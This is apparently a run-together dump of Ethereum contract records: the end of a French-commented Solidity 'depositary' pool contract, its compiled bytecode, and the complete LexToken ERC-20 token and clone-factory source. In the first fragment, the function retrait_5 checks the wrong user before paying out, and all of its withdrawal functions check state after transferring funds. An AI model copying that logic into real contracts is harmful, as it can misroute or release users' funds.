CONSTANT uint256 Depositary_function = 1000 ; function setDepositary_function ( uint256 newDepositary_function ) public onlyOwner { Depositary_function = newDepositary_function ; } function getDepositary_function () public constant returns ( uint256 ) { return Depositary_function ; } // IN DATA / SET DATA / GET DATA / UINT 256 / PUBLIC / ONLY OWNER / CONSTANT uint256 Depositary_function_control = 1000 ; function setDepositary_function_control ( uint256 newDepositary_function_control ) public onlyOwner { Depositary_function_control = newDepositary_function_control ; } function getDepositary_function_control () public constant returns ( uint256 ) { return Depositary_function_control ; } address public User_1 = msg.sender ; address public User_2 ;// _User_2 ; address public User_3 ;// _User_3 ; address public User_4 ;// _User_4 ; address public User_5 ;// _User_5 ; IERC20Token public Securities_1 ;// _Securities_1 ; IERC20Token public Securities_2 ;// _Securities_2 ; IERC20Token public Securities_3 ;// _Securities_3 ; IERC20Token public Securities_4 ;// _Securities_4 ; IERC20Token public Securities_5 ;// _Securities_5 ; uint256 public Standard_1 ;// _Standard_1 ; uint256 public Standard_2 ;// _Standard_2 ; uint256 public Standard_3 ;// _Standard_3 ; uint256 public Standard_4 ;// _Standard_4 ; uint256 public Standard_5 ;// _Standard_5 ; function Eligibility_Group_1 ( address _User_1 , IERC20Token _Securities_1 , uint256 _Standard_1 ) public onlyOwner { User_1 = _User_1 ; Securities_1 = _Securities_1 ; Standard_1 = _Standard_1 ; } function Eligibility_Group_2 ( address _User_2 , IERC20Token _Securities_2 , uint256 _Standard_2 ) public onlyOwner { User_2 = _User_2 ; Securities_2 = _Securities_2 ; Standard_2 = _Standard_2 ; } function Eligibility_Group_3 ( address _User_3 , IERC20Token _Securities_3 , uint256 _Standard_3 ) public onlyOwner { User_3 = _User_3 ; Securities_3 = _Securities_3 ; Standard_3 = _Standard_3 ; } function Eligibility_Group_4 ( address _User_4 , IERC20Token _Securities_4 , uint256 _Standard_4 ) public onlyOwner { User_4 = _User_4 ; Securities_4 = _Securities_4 ; Standard_4 = _Standard_4 ; } function Eligibility_Group_5 ( address _User_5 , IERC20Token _Securities_5 , uint256 _Standard_5 ) public onlyOwner { User_5 = _User_5 ; Securities_5 = _Securities_5 ; Standard_5 = _Standard_5 ; } // // function retrait_1 () public { require( msg.sender == User_1 ); require( Securities_1.transfer(User_1, Standard_1) ); require( ID == ID_control ); require( Cmd == Cmd_control ); require( Depositary_function == Depositary_function_control ); } function retrait_2 () public { require( msg.sender == User_2 ); require( Securities_2.transfer(User_2, Standard_2) ); require( ID == ID_control ); require( Cmd == Cmd_control ); require( Depositary_function == Depositary_function_control ); } function retrait_3 () public { require( msg.sender == User_3 ); require( Securities_3.transfer(User_3, Standard_3) ); require( ID == ID_control ); require( Cmd == Cmd_control ); require( Depositary_function == Depositary_function_control ); } function retrait_4 () public { require( msg.sender == User_4 ); require( Securities_4.transfer(User_4, Standard_4) ); require( ID == ID_control ); require( Cmd == Cmd_control ); require( Depositary_function == Depositary_function_control ); } function retrait_5 () public { require( msg.sender == User_1 ); require( Securities_5.transfer(User_5, Standard_5) ); require( ID == ID_control ); require( Cmd == Cmd_control ); require( Depositary_function == Depositary_function_control ); } // 1 Descriptif // 2 Place de march&#233; d&#233;centralis&#233;e // 3 Forme juridique // 4 Pool pair &#224; pair d&#233;ploy&#233; dans un environnement TP/SC-CDC (*) // 5 D&#233;nomination // 6 &#171;&#160;LUEBECK_LA_VALETTE&#160;&#187; / &#171;&#160;LLV_gruppe_v30.12&#160;&#187; // 7 Statut // 8 &#171;&#160;D.A.O.&#160;&#187; (Organisation autonome et d&#233;centralis&#233;e) // 9 Propri&#233;taires & responsables implicites // 10 Les Utilisateurs du pool // 11 Juridiction (i) // 12 &#171;&#160;Lausanne, Canton de Vaud, Conf&#233;d&#233;ration Helv&#233;tique&#160;&#187; // 13 Juridiction (ii) // 14 &#171;&#160;Wien, Bundesland Wien, Austria&#160;&#187; // 15 Instrument mon&#233;taire de r&#233;f&#233;rence (i) // 16 &#171;&#160;ethchf&#160;&#187; // 17 Instrument mon&#233;taire de r&#233;f&#233;rence (ii) // 18 &#171;&#160;etheur&#160;&#187; // 19 Instrument mon&#233;taire de r&#233;f&#233;rence (iii) // 20 &#171;&#160;ethczk&#160;&#187; // 21 Devise de r&#233;f&#233;rence (i) // 22 &#171;&#160;CHF&#160;&#187; // 23 Devise de r&#233;f&#233;rence (ii) // 24 &#171;&#160;EUR&#160;&#187; // 25 Devise de r&#233;f&#233;rence (iii) // 26 &#171;&#160;CZK&#160;&#187; // 27 Date de d&#233;ployement initial // 28 19.09.2008 (date de reprise des actifs de la holding en liquidation) // 29 Environnement de d&#233;ployement initial // 30 (1&#160;: 19.09.2008-01.08.2017) OTC (Lausanne)&#160;; (2&#160;: 01.08.2017-29.04.2018) suite protocolaire sur-couche &#171;&#160;88.2&#160;&#187; // 31 Objet principal (i) // 32 Services de place de march&#233; et de teneur de march&#233; sous la forme d’un pool mutuel // 33 Objet principal (ii) // 34 Gestion des activit&#233;s post-march&#233;, dont&#160;: contrepartie centrale et d&#233;positaire // 35 Objet principal (iii) // 36 Garant // 37 Objet principal (iv) // 38 Teneur de compte // 39 Objet principal (v) // 40 &#171;&#160;Chambre de compensation&#160;&#187; // 41 Objet principal (vi) // 42 Op&#233;rateur &#171;&#160;r&#232;glement-livraison&#160;&#187; // 43 @ de communication additionnelle (i) // 44 0x49720E96dC488c75DFE1576b3b2965b4fED92575 (# 15) // 45 @ de communication additionnelle (ii) // 46 0x2DF6FfB4e9B27Df827a7c8DEb31555875e095b3e (# 16) // 47 @ de publication additionnelle (protocole PP, i) // 48 0xD1dEB350B3ea3FEF2d6f0Ece4F19419B1c37A43f (# 17) // 49 Entit&#233; responsable du d&#233;veloppement // 50 Programme d’apprentissage autonome &#171;&#160;EVA&#160;&#187; / &#171;&#160;KYOKO&#160;&#187; / MS (sign) // 51 Entit&#233; responsable de l’&#233;dition // 52 Programme d’apprentissage autonome &#171;&#160;EVA&#160;&#187; / &#171;&#160;KYOKO&#160;&#187; / MS (sign) // 53 Entit&#233; responsable du d&#233;ployement initial // 54 Programme d’apprentissage autonome &#171;&#160;EVA&#160;&#187; / &#171;&#160;KYOKO&#160;&#187; / MS (sign) // 55 (*) Environnement technologique protocolaire / sous-couche de type &#171;&#160;Consensus Distribu&#233; et Chiffr&#233;&#160;&#187; // 56 (**) @ Annexes et formulaires&#160;: <<<< --------------------------------- >>>> (confer&#160;: points 43 &#224; 48) // 57 - // 58 - // 59 - // 60 - // 61 - // 62 - // 63 - // 64 - // 65 - // 66 - // 67 - // 68 - // 69 - // 70 - // 71 - // 72 - // 73 - // 74 - // 75 - // 76 - // 77 - // 78 - }
0x6060604052600436106101cd576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff1680630160751c146101d25780630a642d00146101f55780630fa356bd1461020a5780632dbce3901461026b5780634108a00b1461028e5780634afbb7d7146102ef5780635f8a3029146103185780636699d9cd14610341578063691f2216146103965780637055410b146103eb57806378238cf014610400578063882b4e68146104235780638bec683f14610478578063927d41ee146104a15780639eee578714610502578063a21a32cb1461052b578063ab9dbd0714610580578063adb1f00e146105a9578063b10c75441461060a578063b55459d114610633578063beb9571c14610688578063bebe4f6d146106dd578063c2a029f014610706578063c946f3af14610729578063cfa446ec14610752578063d51d4fa81461077b578063d70108a6146107d0578063dc5d184f146107f9578063e5b6b4fb1461081c578063eaeb83a214610871578063eb0eea61146108c6578063efbb5f171461091b578063f3acc06b14610930578063f3cee64d14610945578063f8e1746414610968578063fb5d5999146109c9578063ff9151dd146109f2575b600080fd5b34156101dd57600080fd5b6101f36004808035906020019091905050610a07565b005b341561020057600080fd5b610208610a6c565b005b341561021557600080fd5b610269600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803573ffffffffffffffffffffffffffffffffffffffff16906020019091908035906020019091905050610c0a565b005b341561027657600080fd5b61028c6004808035906020019091905050610cf3565b005b341561029957600080fd5b6102ed600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803573ffffffffffffffffffffffffffffffffffffffff16906020019091908035906020019091905050610d58565b005b34156102fa57600080fd5b610302610e41565b6040518082815260200191505060405180910390f35b341561032357600080fd5b61032b610e4b565b6040518082815260200191505060405180910390f35b341561034c57600080fd5b610354610e51565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34156103a157600080fd5b6103a9610e77565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34156103f657600080fd5b6103fe610e9d565b005b341561040b57600080fd5b610421600480803590602001909190505061103b565b005b341561042e57600080fd5b6104366110a0565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b341561048357600080fd5b61048b6110c6565b6040518082815260200191505060405180910390f35b34156104ac57600080fd5b610500600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803573ffffffffffffffffffffffffffffffffffffffff169060200190919080359060200190919050506110d0565b005b341561050d57600080fd5b6105156111b9565b6040518082815260200191505060405180910390f35b341561053657600080fd5b61053e6111bf565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b341561058b57600080fd5b6105936111e5565b6040518082815260200191505060405180910390f35b34156105b457600080fd5b610608600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803573ffffffffffffffffffffffffffffffffffffffff169060200190919080359060200190919050506111ef565b005b341561061557600080fd5b61061d6112d8565b6040518082815260200191505060405180910390f35b341561063e57600080fd5b6106466112e2565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b341561069357600080fd5b61069b611308565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34156106e857600080fd5b6106f061132e565b6040518082815260200191505060405180910390f35b341561071157600080fd5b6107276004808035906020019091905050611334565b005b341561073457600080fd5b61073c611399565b6040518082815260200191505060405180910390f35b341561075d57600080fd5b61076561139f565b6040518082815260200191505060405180910390f35b341561078657600080fd5b61078e6113a5565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34156107db57600080fd5b6107e36113cb565b6040518082815260200191505060405180910390f35b341561080457600080fd5b61081a60048080359060200190919050506113d5565b005b341561082757600080fd5b61082f61143a565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b341561087c57600080fd5b610884611460565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34156108d157600080fd5b6108d9611486565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b341561092657600080fd5b61092e6114ac565b005b341561093b57600080fd5b61094361164a565b005b341561095057600080fd5b61096660048080359060200190919050506117e8565b005b341561097357600080fd5b6109c7600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803590602001909190505061184d565b005b34156109d457600080fd5b6109dc611936565b6040518082815260200191505060405180910390f35b34156109fd57600080fd5b610a05611940565b005b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515610a6257600080fd5b8060058190555050565b600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515610ac857600080fd5b600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663a9059cbb600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff166013546040518363ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050602060405180830381600087803b1515610bb057600080fd5b5af11515610bbd57600080fd5b505050604051805190501515610bd257600080fd5b600254600154141515610be457600080fd5b600454600354141515610bf657600080fd5b600654600554141515610c0857600080fd5b565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515610c6557600080fd5b82600760006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555081600c60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555080601181905550505050565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515610d4e57600080fd5b8060068190555050565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515610db357600080fd5b82600b60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555081601060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555080601581905550505050565b6000600554905090565b60145481565b600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515610ef957600080fd5b601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663a9059cbb600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff166015546040518363ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050602060405180830381600087803b1515610fe157600080fd5b5af11515610fee57600080fd5b50505060405180519050151561100357600080fd5b60025460015414151561101557600080fd5b60045460035414151561102757600080fd5b60065460055414151561103957600080fd5b565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561109657600080fd5b8060048190555050565b600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000600254905090565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561112b57600080fd5b82600960006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555081600e60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555080601381905550505050565b60115481565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000600154905090565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561124a57600080fd5b82600860006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555081600d60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555080601281905550505050565b6000600354905090565b600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60155481565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561138f57600080fd5b8060028190555050565b60135481565b60125481565b600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000600454905090565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561143057600080fd5b8060018190555050565b601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561150857600080fd5b600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663a9059cbb600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff166012546040518363ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050602060405180830381600087803b15156115f057600080fd5b5af115156115fd57600080fd5b50505060405180519050151561161257600080fd5b60025460015414151561162457600080fd5b60045460035414151561163657600080fd5b60065460055414151561164857600080fd5b565b600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415156116a657600080fd5b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663a9059cbb600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff166011546040518363ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050602060405180830381600087803b151561178e57600080fd5b5af1151561179b57600080fd5b5050506040518051905015156117b057600080fd5b6002546001541415156117c257600080fd5b6004546003541415156117d457600080fd5b6006546005541415156117e657600080fd5b565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561184357600080fd5b8060038190555050565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415156118a857600080fd5b82600a60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555081600f60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555080601481905550505050565b6000600654905090565b600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561199c57600080fd5b600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663a9059cbb600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff166014546040518363ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050602060405180830381600087803b1515611a8457600080fd5b5af11515611a9157600080fd5b505050604051805190501515611aa657600080fd5b600254600154141515611ab857600080fd5b600454600354141515611aca57600080fd5b600654600554141515611adc57600080fd5b5600a165627a7a72305820a3e690e6d1c37b6b330330dba6a3141022df200d8ffcacdbcd58183dcac98c690029
{"success": true, "error": null, "results": {}}
8,515
0x19d5a2d313e110d52ca0b1b8235c4f4b29ba47d7
/* ██╗ ███████╗██╗ ██╗ ██║ ██╔════╝╚██╗██╔╝ ██║ █████╗ ╚███╔╝ ██║ ██╔══╝ ██╔██╗ ███████╗███████╗██╔╝ ██╗ ╚══════╝╚══════╝╚═╝ ╚═╝ ████████╗ ██████╗ ██╗ ██╗███████╗███╗ ██╗ ╚══██╔══╝██╔═══██╗██║ ██╔╝██╔════╝████╗ ██║ ██║ ██║ ██║█████╔╝ █████╗ ██╔██╗ ██║ ██║ ██║ ██║██╔═██╗ ██╔══╝ ██║╚██╗██║ ██║ ╚██████╔╝██║ ██╗███████╗██║ ╚████║ ╚═╝ ╚═════╝ ╚═╝ ╚═╝╚══════╝╚═╝ ╚═══╝ DEAR MSG.SENDER(S): / LexToken is a project in beta. // Please audit and use at your own risk. /// Entry into LexToken shall not create an attorney/client relationship. //// Likewise, LexToken should not be construed as legal advice or replacement for professional counsel. ///// STEAL THIS C0D3SL4W ////// presented by LexDAO LLC */ // SPDX-License-Identifier: GPL-3.0-or-later pragma solidity 0.7.4; interface IERC20 { // brief interface for erc20 token function balanceOf(address account) external view returns (uint256); function transfer(address to, uint256 value) external returns (bool); } library SafeMath { // arithmetic wrapper for unit under/overflow check function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { require(b <= a); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b); return c; } } contract LexToken { using SafeMath for uint256; address payable public manager; // account managing token rules & sale - see 'Manager Functions' - updateable by manager uint8 public decimals; // fixed unit scaling factor - default 18 to match ETH uint256 public saleRate; // rate of token purchase when sending ETH to contract - e.g., 10 saleRate returns 10 token per 1 ETH - updateable by manager uint256 public totalSupply; // tracks outstanding token mint - mint updateable by manager uint256 public totalSupplyCap; // maximum of token mintable bytes32 public DOMAIN_SEPARATOR; // eip-2612 permit() pattern - hash identifies contract bytes32 constant public PERMIT_TYPEHASH = keccak256("Permit(address owner,address spender,uint256 value,uint256 nonce,uint256 deadline)"); // eip-2612 permit() pattern - hash identifies function for signature string public details; // details token offering, redemption, etc. - updateable by manager string public name; // fixed token name string public symbol; // fixed token symbol bool public forSale; // status of token sale - e.g., if `false`, ETH sent to token address will not return token per saleRate - updateable by manager bool private initialized; // internally tracks token deployment under eip-1167 proxy pattern bool public transferable; // transferability of token - does not affect token sale - updateable by manager mapping(address => mapping(address => uint256)) public allowances; mapping(address => uint256) public balanceOf; mapping(address => uint256) public nonces; event Approval(address indexed owner, address indexed spender, uint256 value); event Redeem(string redemption); event Transfer(address indexed from, address indexed to, uint256 value); event UpdateGovernance(address indexed manager, string details); event UpdateSale(uint256 saleRate, uint256 saleSupply, bool burnToken, bool forSale); event UpdateTransferability(bool transferable); function init( address payable _manager, uint8 _decimals, uint256 _managerSupply, uint256 _saleRate, uint256 _saleSupply, uint256 _totalSupplyCap, string calldata _details, string calldata _name, string calldata _symbol, bool _forSale, bool _transferable ) external { require(!initialized, "initialized"); manager = _manager; decimals = _decimals; saleRate = _saleRate; totalSupplyCap = _totalSupplyCap; details = _details; name = _name; symbol = _symbol; forSale = _forSale; initialized = true; transferable = _transferable; if (_managerSupply > 0) {_mint(_manager, _managerSupply);} if (_saleSupply > 0) {_mint(address(this), _saleSupply);} // eip-2612 permit() pattern: uint256 chainId; assembly {chainId := chainid()} DOMAIN_SEPARATOR = keccak256(abi.encode( keccak256("EIP712Domain(string name,string version,uint256 chainId,address verifyingContract)"), keccak256(bytes(name)), keccak256(bytes("1")), chainId, address(this))); } function _approve(address owner, address spender, uint256 value) internal { allowances[owner][spender] = value; emit Approval(owner, spender, value); } function approve(address spender, uint256 value) external returns (bool) { _approve(msg.sender, spender, value); return true; } function _burn(address from, uint256 value) internal { balanceOf[from] = balanceOf[from].sub(value); totalSupply = totalSupply.sub(value); emit Transfer(from, address(0), value); } function burn(uint256 value) external { _burn(msg.sender, value); } function burnFrom(address from, uint256 value) external { _approve(from, msg.sender, allowances[from][msg.sender].sub(value)); _burn(from, value); } function decreaseAllowance(address spender, uint256 subtractedValue) external returns (bool) { _approve(msg.sender, spender, allowances[msg.sender][spender].sub(subtractedValue)); return true; } function increaseAllowance(address spender, uint256 addedValue) external returns (bool) { _approve(msg.sender, spender, allowances[msg.sender][spender].add(addedValue)); return true; } // Adapted from https://github.com/albertocuestacanada/ERC20Permit/blob/master/contracts/ERC20Permit.sol function permit(address owner, address spender, uint256 deadline, uint256 value, uint8 v, bytes32 r, bytes32 s) external { require(block.timestamp <= deadline, "expired"); bytes32 hashStruct = keccak256(abi.encode( PERMIT_TYPEHASH, owner, spender, value, nonces[owner]++, deadline)); bytes32 hash = keccak256(abi.encodePacked( '\x19\x01', DOMAIN_SEPARATOR, hashStruct)); address signer = ecrecover(hash, v, r, s); require(signer != address(0) && signer == owner, "!signer"); _approve(owner, spender, value); } receive() external payable { // SALE require(forSale, "!forSale"); (bool success, ) = manager.call{value: msg.value}(""); require(success, "!ethCall"); _transfer(address(this), msg.sender, msg.value.mul(saleRate)); } function redeem(uint256 value, string calldata redemption) external { _burn(msg.sender, value); emit Redeem(redemption); } function _transfer(address from, address to, uint256 value) internal { balanceOf[from] = balanceOf[from].sub(value); balanceOf[to] = balanceOf[to].add(value); emit Transfer(from, to, value); } function transfer(address to, uint256 value) external returns (bool) { require(transferable, "!transferable"); _transfer(msg.sender, to, value); return true; } function transferBatch(address[] calldata to, uint256[] calldata value) external { require(to.length == value.length, "!to/value"); require(transferable, "!transferable"); for (uint256 i = 0; i < to.length; i++) { _transfer(msg.sender, to[i], value[i]); } } function transferFrom(address from, address to, uint256 value) external returns (bool) { require(transferable, "!transferable"); _approve(from, msg.sender, allowances[from][msg.sender].sub(value)); _transfer(from, to, value); return true; } /**************** MANAGER FUNCTIONS ****************/ modifier onlyManager { require(msg.sender == manager, "!manager"); _; } function _mint(address to, uint256 value) internal { require(totalSupply.add(value) <= totalSupplyCap, "capped"); balanceOf[to] = balanceOf[to].add(value); totalSupply = totalSupply.add(value); emit Transfer(address(0), to, value); } function mint(address to, uint256 value) external onlyManager { _mint(to, value); } function mintBatch(address[] calldata to, uint256[] calldata value) external onlyManager { require(to.length == value.length, "!to/value"); for (uint256 i = 0; i < to.length; i++) { _mint(to[i], value[i]); } } function updateGovernance(address payable _manager, string calldata _details) external onlyManager { manager = _manager; details = _details; emit UpdateGovernance(_manager, _details); } function updateSale(uint256 _saleRate, uint256 _saleSupply, bool _burnToken, bool _forSale) external onlyManager { saleRate = _saleRate; forSale = _forSale; if (_saleSupply > 0 && _burnToken) {_burn(address(this), _saleSupply);} if (_saleSupply > 0 && !_burnToken) {_mint(address(this), _saleSupply);} emit UpdateSale(_saleRate, _saleSupply, _burnToken, _forSale); } function updateTransferability(bool _transferable) external onlyManager { transferable = _transferable; emit UpdateTransferability(_transferable); } function withdrawToken(address[] calldata token, address[] calldata withdrawTo, uint256[] calldata value, bool max) external onlyManager { // withdraw token sent to lextoken contract require(token.length == withdrawTo.length && token.length == value.length, "!token/withdrawTo/value"); for (uint256 i = 0; i < token.length; i++) { uint256 withdrawalValue = value[i]; if (max) {withdrawalValue = IERC20(token[i]).balanceOf(address(this));} IERC20(token[i]).transfer(withdrawTo[i], withdrawalValue); } } } /* The MIT License (MIT) Copyright (c) 2018 Murray Software, LLC. Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal in the Software without restriction, including without limitation the rights to use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of the Software, and to permit persons to whom the Software is furnished to do so, subject to the following conditions: The above copyright notice and this permission notice shall be included in all copies or substantial portions of the Software. THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE. */ contract CloneFactory { function createClone(address payable target) internal returns (address payable result) { // eip-1167 proxy pattern adapted for payable lexToken bytes20 targetBytes = bytes20(target); assembly { let clone := mload(0x40) mstore(clone, 0x3d602d80600a3d3981f3363d3d373d3d3d363d73000000000000000000000000) mstore(add(clone, 0x14), targetBytes) mstore(add(clone, 0x28), 0x5af43d82803e903d91602b57fd5bf30000000000000000000000000000000000) result := create(0, clone, 0x37) } } } contract LexTokenFactory is CloneFactory { address payable public lexDAO; address public lexDAOtoken; address payable immutable public template; uint256 public userReward; string public details; event LaunchLexToken(address indexed lexToken, address indexed manager, uint256 saleRate, bool forSale); event UpdateGovernance(address indexed lexDAO, address indexed lexDAOtoken, uint256 userReward, string details); constructor( address payable _lexDAO, address _lexDAOtoken, address payable _template, uint256 _userReward, string memory _details ) { lexDAO = _lexDAO; lexDAOtoken = _lexDAOtoken; template = _template; userReward = _userReward; details = _details; } function launchLexToken( address payable _manager, uint8 _decimals, uint256 _managerSupply, uint256 _saleRate, uint256 _saleSupply, uint256 _totalSupplyCap, string memory _details, string memory _name, string memory _symbol, bool _forSale, bool _transferable ) external payable returns (address) { LexToken lex = LexToken(createClone(template)); lex.init( _manager, _decimals, _managerSupply, _saleRate, _saleSupply, _totalSupplyCap, _details, _name, _symbol, _forSale, _transferable); if (msg.value > 0) {(bool success, ) = lexDAO.call{value: msg.value}(""); require(success, "!ethCall");} if (userReward > 0) {IERC20(lexDAOtoken).transfer(msg.sender, userReward);} emit LaunchLexToken(address(lex), _manager, _saleRate, _forSale); return(address(lex)); } function updateGovernance(address payable _lexDAO, address _lexDAOtoken, uint256 _userReward, string calldata _details) external { require(msg.sender == lexDAO, "!lexDAO"); lexDAO = _lexDAO; lexDAOtoken = _lexDAOtoken; userReward = _userReward; details = _details; emit UpdateGovernance(_lexDAO, _lexDAOtoken, _userReward, _details); } }
